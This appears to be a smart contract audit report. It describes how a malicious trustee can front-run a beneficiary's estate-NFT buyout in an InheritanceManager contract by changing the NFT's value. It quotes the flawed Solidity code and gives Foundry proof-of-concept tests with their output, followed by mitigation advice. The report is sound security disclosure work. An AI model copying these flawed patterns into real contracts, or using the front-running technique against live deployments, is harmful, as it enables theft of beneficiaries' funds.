Summary
If the trustee is malicious or colludes with other beneficiaries, they can submit a transaction with higher gas to update nftValue first, altering the cost the beneficiary pays.
Vulnerability Details
buyOutEstateNFT allows a beneficiary to buy out an NFT (i.e representing an estate) by paying its value in the assetToPay token, split among the other beneficiaries.
function buyOutEstateNFT(
uint256 _nftID
) external onlyBeneficiaryWithIsInherited {
uint256 value = nftValue[_nftID];
uint256 divisor = beneficiaries.length;
uint256 multiplier = beneficiaries.length - 1;
uint256 finalAmount = (value / divisor) * multiplier;
IERC20(assetToPay).safeTransferFrom(
msg.sender,
address(this),
finalAmount
);
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
return;
} else {
IERC20(assetToPay).safeTransfer(
beneficiaries[i],
finalAmount / divisor
);
}
}
nft.burnEstate(_nftID);
}
It calculates the finalAmount payment ([1]), transfers finalAmount from the caller-beneficiary to the contract ([2]), and finally distributes it to the other beneficiaries ([3]). The nftValue entry is initialized in InheritanceManager::createEstateNFT:
function createEstateNFT(
string memory _description,
uint256 _value,
address _asset
) external onlyOwner {
uint256 nftID = nft.createEstate(_description);
nftValue[nftID] = _value;
assetToPay = _asset;
}
Later on, the nftValue mapping can be controlled by the Trustee contract's setNftValue function, which is restricted to the trustee via the onlyTrustee modifier.
modifier onlyTrustee() {
if (msg.sender != trustee) {
revert NotTrustee(msg.sender);
}
_;
}
function setNftValue(uint256 _index, uint256 _value) public onlyTrustee {
nftValue[_index] = _value;
}
The trustee is appointed by a beneficiary, upon inheritance, by calling appointTrustee.
modifier onlyBeneficiaryWithIsInherited() {
uint256 i = 0;
while (i < beneficiaries.length + 1) {
if (msg.sender == beneficiaries[i] && isInherited) {
break;
}
i++;
}
_;
}
function appointTrustee(
address _trustee
) external onlyBeneficiaryWithIsInherited {
trustee = _trustee;
}
Imagine the following scenario:
A beneficiary calls buyOutEstateNFT(nftID), the transaction enters the mempool, visible to the trustee
The trustee calls setNftValue to change the NFT's value before the buyOutEstateNFT transaction is mined
Finally, buyOutEstateNFT(nftID) is executed but nftValue[nftID]'s value has been changed by the trustee
Proof of Concept
The following code demonstrates the aforementioned scenario in two ways (one where the beneficiary pays no token shares to the other beneficiaries, and one where he overpays):
owner adds bob and alice as beneficiaries
owner calls createEstateNFT
deadline expires
bob and alice inherit the wallet
bob appoints trustee
bob calls buyOutEstateNFT(nftID)
buyOutEstateNFT(nftID) is executed
bob pays no token shares to alice, or overpays
alice gets nothing, or gets overcompensated
Code
Add test_frontRunBuyOutEstateNFTNoPay and test_frontRunBuyOutEstateNFTOverPay in InheritanceManagerTest.t.sol:
function test_frontRunBuyOutEstateNFTNoPay() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address trustee = makeAddr("trustee");
vm.warp(1);
vm.startPrank(owner);
im.addBeneficiery(alice);
im.addBeneficiery(bob);
im.createEstateNFT("villa", 4e6, address(usdc));
vm.stopPrank();
usdc.mint(bob, 4e6);
vm.startPrank(bob);
usdc.approve(address(im), 4e6);
vm.warp(1 + 90 days);
vm.startPrank(bob);
im.inherit();
im.appointTrustee(trustee);
vm.startPrank(trustee);
im.setNftValue(1, 0e6);
vm.stopPrank();
vm.startPrank(bob);
im.buyOutEstateNFT(1);
console.log(usdc.balanceOf(bob));
console.log(usdc.balanceOf(alice));
assertEq(usdc.balanceOf(alice), 0e6);
assertEq(usdc.balanceOf(bob), 4e6);
}
function test_frontRunBuyOutEstateNFTOverPay() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address trustee = makeAddr("trustee");
vm.warp(1);
vm.startPrank(owner);
im.addBeneficiery(alice);
im.addBeneficiery(bob);
im.createEstateNFT("villa", 4e6, address(usdc));
vm.stopPrank();
usdc.mint(bob, 4e6);
vm.startPrank(bob);
usdc.approve(address(im), 4e6);
vm.warp(1 + 90 days);
vm.startPrank(bob);
im.inherit();
im.appointTrustee(trustee);
vm.startPrank(trustee);
im.setNftValue(1, 8e6);
vm.stopPrank();
vm.startPrank(bob);
im.buyOutEstateNFT(1);
assertEq(usdc.balanceOf(alice), 2e6);
assertEq(usdc.balanceOf(bob), 0e6);
}
And run the tests:
$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_frontRunBuyOutEstateNFTNoPay
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_frontRunBuyOutEstateNFTNoPay() (gas: 389545)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10ms (292.79µs CPU time)
Ran 1 test suite in 136.66ms (1.10ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_frontRunBuyOutEstateNFTOverPay
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_frontRunBuyOutEstateNFTOverPay() (gas: 406671)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.18ms (298.25µs CPU time)
Ran 1 test suite in 136.71ms (1.18ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Note how the two PoCs above break a core assumption/invariant of the InheritanceManager contract, which expects equal share distribution, as well as the paying beneficiary not needing to pay his own share.
Impact
Since Ethereum transactions are visible in the mempool before confirmation, a trustee can observe a pending buyOutEstateNFT call and invoke setNftValue with higher gas to change the NFT’s value before the buyout executes. This breaks the share distribution logic.
Tools Used
Recommendations
Consider handling any asset reevaluation off-chain. This shifts trust from the trustee to the beneficiaries' consensus. Another option could be to add a voting-mechanism logic where the asset's value can only be changed if all beneficiaries agree.